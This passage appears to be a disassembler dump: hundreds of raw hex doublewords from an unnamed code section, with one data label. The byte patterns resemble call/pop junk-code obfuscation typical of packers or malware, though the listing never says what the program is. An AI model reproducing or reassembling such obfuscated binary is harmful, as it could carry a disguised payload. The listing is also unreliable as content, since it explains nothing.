		dd 16042444h, 46000000h, 0F61C356h, 0DB8C6607h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0F7C35242h, 0F4F1812h
		dd 68Ah, 91B50300h, 6606060Eh, 0C3F6F38Bh, 18840F04h, 0FF000000h
		dd 61FF195h, 8D858906h,	50060624h, 489F08Bh, 19B58924h
		dd 0E9060623h, 38Ah, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 54C35040h, 0E2AF2B23h, 57276170h, 0B65B58Bh
		dd 0B05F0606h, 55006A00h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 810FD2h, 0F000000h, 80h
		dd 6A70E600h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 9A4C355h, 44285BC1h, 33C78144h
		dd 89362F75h, 61AA185h,	6A71E406h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0E070C355h
		dd 0C04B6BB8h, 1F099589h, 0B60F0606h, 7E9D8h, 9DCC0000h
		dd 55B80A32h, 0BE94Bh, 25B30000h, 0A9252BA1h, 0C8E4326h
		dd 6BAD4h, 8D890000h, 60631E9h,	6AC38Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 663897C3h
		dd 6604E8C1h, 0E960E2F7h, 0Bh, 720E4F6Ah, 6C79EDA4h, 0F9B2384h
		dd 2B61D7B7h, 499589D8h, 93060627h, 8E8h, 9CF56400h, 70FB772Dh
		dd 48B0F60h, 66000000h,	5F1F99BFh, 0C8B0F50h, 0F000000h
		dd 688h, 8B0F00h, 93000000h, 175B58Bh, 0B5FF0606h, 6062495h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 2BC35343h
		dd 8358353Ah, 38883B0h,	95FF5E50h, 6061AC9h, 1D618589h
		dd 8B660606h, 8B00B0FBh, 61D2DBDh, 6A70E606h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0FC9C353h, 8Dh, 171E400h, 601B5BDh, 0BDBD8B06h, 3C060603h
		dd 0BF830F61h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0D37AC357h,	664949B5h
		dd 0B60FFA8Bh, 6D9589D8h, 0F060616h, 0A8Fh, 5E900h, 22000000h
		dd 0BA0A0D55h, 6, 8BF18B66h, 51B503C3h,	0C1060613h, 54BF04E8h
		dd 6631374Ch, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 5ABAD0C3h, 2DC5B58Bh, 0BD8B0606h
		dd 6062129h, 6AD82Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0DA3444C3h, 8DC89CBAh, 816634F0h
		dd 583681EEh, 880FD82Bh, 10Ah, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 63C35747h, 34118D29h, 7B90606h
		dd 66000000h, 0C183FB8Bh, 3BF88B00h, 0D3860FD9h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 14AC352h,	2BCE00DCh, 0BE79AF68h, 1C79BD8Bh
		dd 8C660606h, 0E5B58BD9h, 0F606061Eh, 840F04C1h, 8Fh, 0FCDB58Bh
		dd 95FF0606h, 6061FF1h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0C35747h, 0E1CB9BD3h,	6694FA7Ah, 5B3976BEh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0CEC35141h
		dd 0FBB9BA3h, 0F98B5A31h, 8B66C32Bh, 8343DFAh, 860F0000h
		dd 27h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h
		dd 0DBC35747h, 0CE983h,	0ACBF0000h, 8B11F3D8h, 4074BFC0h
		dd 0C38B11BCh, 0C7FCD88Bh, 61DD985h, 1205DD06h,	8BF28B32h
		dd 0F1BF0FC0h, 2495BD81h, 7D00606h, 850F0000h, 2Eh, 0FFF0B70Fh
		dd 6249585h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 88EA5051h, 33C19D89h, 0B5FF0606h
		dd 6062495h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0D5C35141h, 0DE9h, 4054B600h, 389C0A7Eh, 97DD20B5h
		dd 11E8A71Fh, 61000000h, 87E77C3Bh, 9001B66Fh, 81DD5202h
		dd 5AA3BFh, 12F1B58Bh, 0FF5F0606h, 61AC995h, 0FE906h, 0B4A50000h
		dd 0A88248D4h, 1894DDF7h, 0D6D36D31h, 6A90B9h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 61A699C3h, 81FA897Dh, 91B58B3Eh, 0F060633h, 682h, 818D8900h
		dd 66060625h, 8F06C681h, 0EE8h,	0CBABC100h, 3E299CD1h
		dd 83C3CA59h, 660B6EEDh, 0DB39CE81h, 17B58D89h,	815F0606h
		dd 1F939BE6h, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0FD3DCBAh, 0B58BF9B7h, 606158Dh
		dd 25C5BD8Bh, 830F0606h, 1, 10E9FCh, 45F40000h,	6ADF1E28h
		dd 0B867BE4Eh, 9FAA3E88h, 0C7811DA1h, 42CB6E8Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 48C35040h, 3E2379AAh
		dd 764B0193h, 0D418D09h, 0B5890606h, 60622B1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0FFC35141h, 0F479CC7h
		dd 683h, 7DB58B00h, 0E9060608h,	0FFFFF908h, 0C18BFA8Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0CEC35646h
		dd 0DFAAFE82h, 2B510386h, 611C1BDh, 4EB06h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0FC19C350h, 92ABC20Ch, 6A7593h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 52EDDFC3h
		dd 0F68E5CEh, 8Ah, 0A1B58B00h, 8D060614h, 6236985h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0FF516ED3h, 0BE890h,	0ECB00000h, 9625963Fh, 2AC19683h
		dd 5FF28B59h, 90F08B50h, 8B006AF5h, 61EC1B5h, 0FEBF0F06h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 516A38C3h, 3D858DE3h, 0E8060A02h,	13h, 87ABFDF1h
		dd 59E61893h, 77283422h, 6012EF0Ch, 60BF357Bh, 0D4806160h
		dd 835F611Ah, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 984107C3h, 0BE605086h, 651D730h
		dd 0E1B96660h, 61C68B1Ah, 24048961h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0CBC35343h,	6A220DFDh, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 8D62A347h, 4420C612h, 6A006AFCh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0F34FC353h
		dd 438CE125h, 2F9D95FFh, 0B58B0606h, 6062E85h, 95159D8Dh
		dd 85890609h, 6062681h,	8D31D3FFh, 6062CCDh, 0F5D85FFh
		dd 870F0606h, 6, 26259589h, 0B0E90606h,	0E8000007h, 0
		dd 47ED815Dh, 66060A02h, 0BD81F98Bh, 6062495h, 7D0h, 15B860Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0FCD391C3h, 5EFC5760h, 6810Fh, 858B0000h
		dd 6062DC1h, 359D8B61h,	6A060622h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 9DA1C352h
		dd 0A5D573B5h, 0E381FF45h, 100h, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 5FC35343h, 0DC1A8CC2h, 0BD0B7533h
		dd 6060231h, 850FDB0Bh,	0ABh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 3FC35747h, 0B5896D2Eh, 6062DEDh
		dd 83FAB70Fh, 0A008ABDh, 840F0006h, 2Dh, 3E4FC781h, 79E963D1h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0FE91C355h, 68E386BFh,	8A85C777h
		dd 1060A00h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 7790C355h, 44BFCC84h
		dd 8BCFD53Dh, 62B35BDh,	1EE906h, 0BD8B0000h, 6062779h
		dd 58C0Fh, 4CBE0000h, 0C7521551h, 0A008A85h, 6,	0F9BF0F00h
		dd 22359D8Dh, 0BF660606h, 238110D0h, 0FFFFFEFFh, 7DCE8166h
		dd 0DB8C6672h, 1C81B58Bh, 0C3F60606h, 0C2840F04h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 45ECC353h, 0FFBF0F10h, 128C0Fh, 0DE90000h
		dd 7A000000h, 3039309Bh, 93612477h, 0F2767772h,	1FF195FFh
		dd 6A0606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 69BC3DC3h, 0AEAD4BB6h, 8B2B79E2h,	60FBDBDh
		dd 12E95006h, 0ED000000h, 0F2560B58h, 0CA50F18Bh, 34097184h
		dd 0C392FBC9h, 2404890Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 24C35343h, 0D726056Ah, 0EE8CB67h, 4B000000h
		dd 667A45DEh, 63688F65h, 0D9D91DF4h, 4985895Dh,	5E060623h
		dd 35BE9F5h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0B0BFC3h, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0F5C35747h,	0E4F570E6h, 51006A71h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 307459C0h, 855732F8h, 66F0BF0Fh, 0EACCE781h,	1D8B60Fh
		dd 614FD85h, 6BA06h, 9D010000h,	6062709h, 6AC38Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0F09B3AC3h, 65B529F2h, 0C1060628h, 0F76604E8h, 0C3BE66E2h
		dd 29D82B9Ch, 62DDD85h,	0F98B9306h, 0FE850h, 64910000h
		dd 0AE2369A3h, 4CE839B8h, 0A1F4411h, 7E863h, 12FF0000h
		dd 0F5FAE550h, 5E5F53D2h, 0DE8935Fh, 0B2000000h, 0C6CB1AF5h
		dd 0DF8F920Fh, 0D2694095h, 68A0Fh, 8D890000h, 6060EF9h
		dd 0DD95895Fh, 0FF060622h, 62495B5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 8FC2C81Bh
		dd 0FFEAF28Fh, 61AC995h, 6A00B006h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 4C2BC353h
		dd 580F6CEAh, 0F570E63Dh, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0C816B6C3h, 51EDAC77h
		dd 0BE8h, 3B996600h, 0ADC4B5F4h, 2F4EDD01h, 6850Fh, 0B58B0000h
		dd 6062E3Dh, 0F613C5Fh,	1B883h,	68E0F00h, 89000000h, 62371BDh
		dd 0D8B60F06h, 6BAF8h, 0C38B0000h, 8D31F88Bh, 606216Dh
		dd 6A04E8C1h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 2E9FC350h, 0F766D50Dh,	68F0FE2h
		dd 1000000h, 624999Dh, 6AD82B06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 77F8C355h
		dd 58E5BEDCh, 57587B93h, 34318D89h, 0F5F0606h, 0D82BF2B7h
		dd 12F880Fh, 97BF0000h,	0B913C243h, 7, 0F9E2BE66h, 6000C183h
		dd 61AFC580h, 860FD93Bh, 111h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0D3C35646h,	226BC139h, 8C66679Eh
		dd 0A1BD8BD9h, 0F6060628h, 840F04C1h, 0B4h, 1FF195FFh
		dd 6A0606h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 8E19A5C3h, 899B5B8Ah, 62E758Dh, 6A5B06h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 9A8EA9C3h, 33AF6225h, 0E8773DDEh, 0Dh, 58208AA5h, 37918F84h
		dd 97424EE6h, 0C32B5F7Ah, 0CE9h, 265A7100h, 0E979907Eh
		dd 2EE4CC7Bh, 8343D44h,	860F0000h, 30h,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ch, 85C35646h, 1A21F447h
		dd 0C179785Fh, 30E9h, 91BD8900h, 0FC060629h, 6AC08Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0A47F9BC3h, 33B3B858h, 62BD5B5h, 8BC38B06h, 56006AD8h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 85C7F851h, 606138Dh,	3C36333Fh, 1BA9BD29h, 0C08B0606h
		dd 0A4DF8166h, 59952992h, 8106062Bh, 62495BDh, 7D006h
		dd 4D850F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 2908C353h, 6177DB5h
		dd 9585FF06h, 6A060624h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0D399C357h,	7AABAA42h
		dd 0F811B28Ch, 2495B5FFh, 0BF0F0606h, 0C995FFFBh, 6A06061Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0E0C0C350h, 66351328h, 4C65F781h,	810F90h
		dd 0E9000000h, 8, 451F85A2h, 0BDD9F921h, 7E8h, 78CE0F00h
		dd 8663F27Eh, 5FFE8B66h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 18h, 0FFC35242h, 0EE603FA6h, 2605BD8Bh, 6A0606h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 771464C3h, 600F84D8h, 8E8h, 66D37D00h, 0BA4332ACh, 895FF5CBh
		dd 624E18Dh, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 80EF81D7h, 8B5A7129h, 61C31BDh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0D2A429F2h, 892EE7EDh, 61BC99Dh, 5FBE6606h, 0B1852970h
		dd 0E906060Bh, 12h, 122A0018h, 0E55827EDh, 84A84972h, 0CC4470DFh
		dd 8B667CFFh, 0DB589F7h, 9060601h, 61C81BDh, 0FBBF0F06h
		dd 0FFF87AE9h, 51006AFFh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 952960D6h, 60628D5h, 2491BD89h
		dd 8B610606h, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 35BF03B4h, 4EB4Bh, 33000000h, 61B2DB5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 8AAB1A55h, 0B5898F76h, 6062021h
		dd 2369858Dh, 6A0606h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 438974C3h, 0E9501B9Bh, 0Ah, 3F9DD382h
		dd 167A5511h, 4899624h,	57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 554254A8h, 9E4A08ADh
		dd 0BF66759Fh, 6A342Eh,	0EF816650h, 6A5EDAF3h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 556A42Dh, 0CE81D25Ah, 63AE03A3h, 0C3EE8166h,	0E0858D7Eh
		dd 89060A0Bh, 615498Dh,	5C08306h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 86C35747h, 50C0BE11h, 6E79BE66h
		dd 66240489h, 6AF08Bh
		db 6Ah,	0
word_584F4E	dw 0E856h		; DATA XREF: ___:0043C0F4o
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0EFC35646h, 0F5B5E47h
		dd 6A006AD1h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0E8C4C353h, 0FF68C811h, 62F9D95h
		dd 0C4BF6606h, 159D8D0Ah, 6A060995h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 7341C357h
		dd 8B77DF21h, 6AD3FFFEh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0A42AC351h,	8B0CBEA5h
		dd 62D35B5h, 5D85FF06h,	6A06060Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 29ECC355h
		dd 620C195h, 864E906h, 0E80000h, 5D000000h, 0BEAED81h
		dd 81FC060Ah, 62495BDh,	7D006h,	51860F00h, 6A000001h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 5B7EC356h, 29559D8Bh, 0B58B0606h, 6061249h, 0FF59589h
		dd 0E3810606h, 100h, 48E0Fh, 0BE660000h, 0DB0BB78Eh, 9E850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 3DB2C0C3h, 0B52B69E3h, 60606FDh, 0A16BD83h
		dd 0F00060Ah, 1084h, 9DE900h, 0BD890000h, 60615BDh, 0E4DE16BFh
		dd 1685C706h, 1060A0Ah,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0E649C350h
		dd 19858938h, 0E9060627h, 5Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 75C35343h, 0D285B7BFh, 8D2950C4h
		dd 6062865h, 0A1685C7h,	60Ah, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0BE081CC3h
		dd 67FDA576h, 50F0B70Fh, 8E0Fh,	8D5F0000h, 629559Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 9529C7D5h, 6061BFDh,	0FEFF2381h, 0B58BFFFFh,	6060B95h
		dd 6ADB8C66h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 5548C356h, 2485BD8Bh, 0F38B0606h
		dd 0F04C3F6h, 6C84h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0BEFE2EBEh, 1FF195FFh
		dd 8C0F0606h, 17h, 12E9h, 86830600h, 3A2CEFh, 209425FCh
		dd 0C9E5A942h, 9041C7EAh, 9050F88Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 4C35040h, 20A38DCDh, 0FEB70F56h
		dd 477E95Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 9F676BC3h, 4EA91D44h, 391BD8Bh
		dd 0B00606h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	0EDC35141h, 0F22C6762h,	499D2999h, 8106061Ch, 0C3EA59CEh
		dd 2970E674h, 61D2D8Dh,	0D1B53306h, 0E406062Dh,	53006A71h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 46DA38ABh, 5248C309h, 39BD0157h, 5E06061Dh, 0A98D895Fh
		dd 0F060617h, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 66785CC3h, 0BACBD8BEh, 6, 0ABEF8166h
		dd 95050B7h, 627A9B5h, 8B5E5E06h, 91BD09C3h, 0C1060613h
		dd 958904E8h, 6062AF1h,	2189BD89h, 0F7660606h, 0FEB70FE2h
		dd 0F93D82Bh, 383h, 0FB8B6600h,	93F18B50h, 2259BD09h, 0B5FF0606h
		dd 6062495h, 1AC995FFh,	6A0606h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0E30CCBC3h, 6A00B0h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 3B765EC3h, 0BF6632EBh, 70E69E76h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 4BC35545h, 2A373583h, 10E8h
		dd 25ADE000h, 0DAACCEFBh, 0EA4C2B42h, 3D580F6Ch, 515FF801h
		dd 385BD8Bh, 0E45F0606h, 168C0F71h, 0E9000000h,	11h, 0BD4FEF7Fh
		dd 0EE6784F0h, 0B0889AF3h, 0D7CC9CDEh, 0F613C7Dh, 2BC83h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 6DECDE80h, 0B70F77A0h, 11E9FBh, 0C2340000h
		dd 5C3CFBC3h, 75569483h, 7F819D15h, 0F43C30Ah, 8Ch, 0D8B60F00h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 6CC35646h
		dd 0C7F4BDEBh, 0BF6620FBh, 6BAA7E5h, 0BF000000h, 3D3E02EEh
		dd 6AC38Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0B529F7C3h, 606159Dh, 3819589h, 0E8C10606h
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0F13D118h, 1889h, 128E0F00h, 0E9000000h
		dd 0Dh,	6C513DA8h, 450CB1Ch, 9B945615h,	0E2F7669Ah, 0A997F781h
		dd 0D82B6DCEh, 58FFBF0Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 7DC35747h, 0FFCACD9Bh, 0FD82BEAh, 1A888h
		dd 0E1B58900h, 0B9060630h, 7, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0EBC35141h,	0C183D5E9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8B638379h, 61B1DBDh,	0FD93B06h, 15086h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0B3D3F837h, 1619BD8Bh, 8C660606h, 51006AD9h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0FF337E1Bh
		dd 669AB39Dh, 2175CF81h, 0F04C1F6h, 0D384h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0DA7AC146h, 158D0180h, 0FF060608h, 61FF195h,	6A5B06h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0A3677FC3h, 6E9BD8Bh, 0C32B0606h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 17C35141h, 6F08B8E7h, 3DF50F01h
		dd 834h, 52860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0C840AEC3h, 412F77F1h
		dd 0C9852970h, 0E906062Bh, 49h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 15C35545h, 0E6818710h, 1468AF49h
		dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 497EF1C3h, 3C31990Ch, 8BC38BD2h, 51006AD8h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 81667EDDh, 0C79524CFh, 6223585h, 21FFFD06h, 0F98B6670h
		dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0BEF5BEC3h, 0BD8137DCh, 6062495h,	7D0h, 1F850Fh
		dd 0EE90000h, 0C0000000h, 8BF7161Fh, 91FE2BC4h,	423CC1B0h
		dd 9585FF2Dh, 1060624h,	632199Dh, 95B5FF06h, 6A060624h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0FBC8C351h, 66180D43h, 8B0B26BEh,	61BC9BDh
		dd 0C995FF06h, 9006061Ah, 6AF18B66h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 2BBCC351h
		dd 0EF81E636h, 1CAF8F5Ah, 0F119D09h, 8B520606h,	62E69B5h
		dd 6A5E06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0BED4F2C3h, 0F9B503ADh, 6606062Dh, 0BF9A58BFh
		dd 70E87E1Eh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Bh,	17C35040h, 0F5D794C2h, 893628ADh, 622559Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0CC203E5Eh, 52006A9Bh, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 17BE6689h, 51006A52h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 820F0Ah, 0E9000000h,	8, 6962E7B1h, 7F50AC2Ch, 0A1C78166h
		dd 11E977h, 220C0000h, 7766EC69h, 7999A8Ah, 0DD1AAF73h
		dd 0E98A19D9h, 0FFFFF7A2h, 66FA8B66h, 6A60F28Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 35AC352h, 0DCAE7FC5h, 8B541C07h, 6014D95h, 0FFFEB906h
		dd 7E9FFFFh, 0A9000000h, 0C631E305h, 8D21BB85h,	6060441h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 5AC35242h
		dd 0D2658BE6h, 8914EA64h, 60FBD9Dh, 8B666006h, 0C8B70FFEh
		dd 458D2161h, 6A06060Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 20DC353h, 6857FFADh
		dd 0E856D81Bh, 5, 2571688Dh, 8B5E5BB7h,	604418Dh, 8D895006h
		dd 6061501h, 1E18358h, 24850Fh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 718F64C3h
		dd 0DC0FBEA2h, 8D8B3AF9h, 6060E45h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 64C35646h, 0E1F487F6h, 0AB28A8CDh
		dd 0F01E183h, 685h, 0A1B50100h,	61060631h, 50006A60h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0B278920Eh, 17880Fh,	12E90000h, 67000000h, 754C6C61h
		dd 8E1694C3h, 83F99B09h, 554417E3h, 359589BFh, 0B9060625h
		dd 0FFFFFFFEh, 7B28E381h, 8D21545Ah, 6061DD9h, 2DE99589h
		dd 8D210606h, 606138Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0FDC35343h, 34F6D38Dh, 7DB5895Ch, 8B060620h
		dd 61DD98Dh, 0A5BD8906h, 8306060Bh, 850F01E1h, 57h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 2BC35343h, 0B449B627h
		dd 13E858h, 768C0000h, 0BBD4029h, 0D7BA37C5h, 4FFE48Bh
		dd 47F3B5Ah, 0B58B53DAh, 6062AA9h, 10E95E5Eh, 9D000000h
		dd 0CE9EEB77h, 85EE6119h, 2D1C8ED3h, 8B9EC8F7h,	6138D8Dh
		dd 0D08B6606h, 0F01E183h, 2B85h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0DBA52B21h
		dd 7E9h, 13681F00h, 3E9D2075h, 6A6061h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BF0F52C3h
		dd 0FFFEB9D7h, 6AFFFFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0B29190C3h, 22358D21h, 6A0606h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 9D8B6FC3h, 6062C79h,	89D38B66h, 630C59Dh, 558D2106h
		dd 6A060629h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 1B13C357h, 0D4B866C5h,	31958947h
		dd 8B060623h, 622358Dh,	53006A06h, 3E8h, 0C35B2000h, 245C895Bh
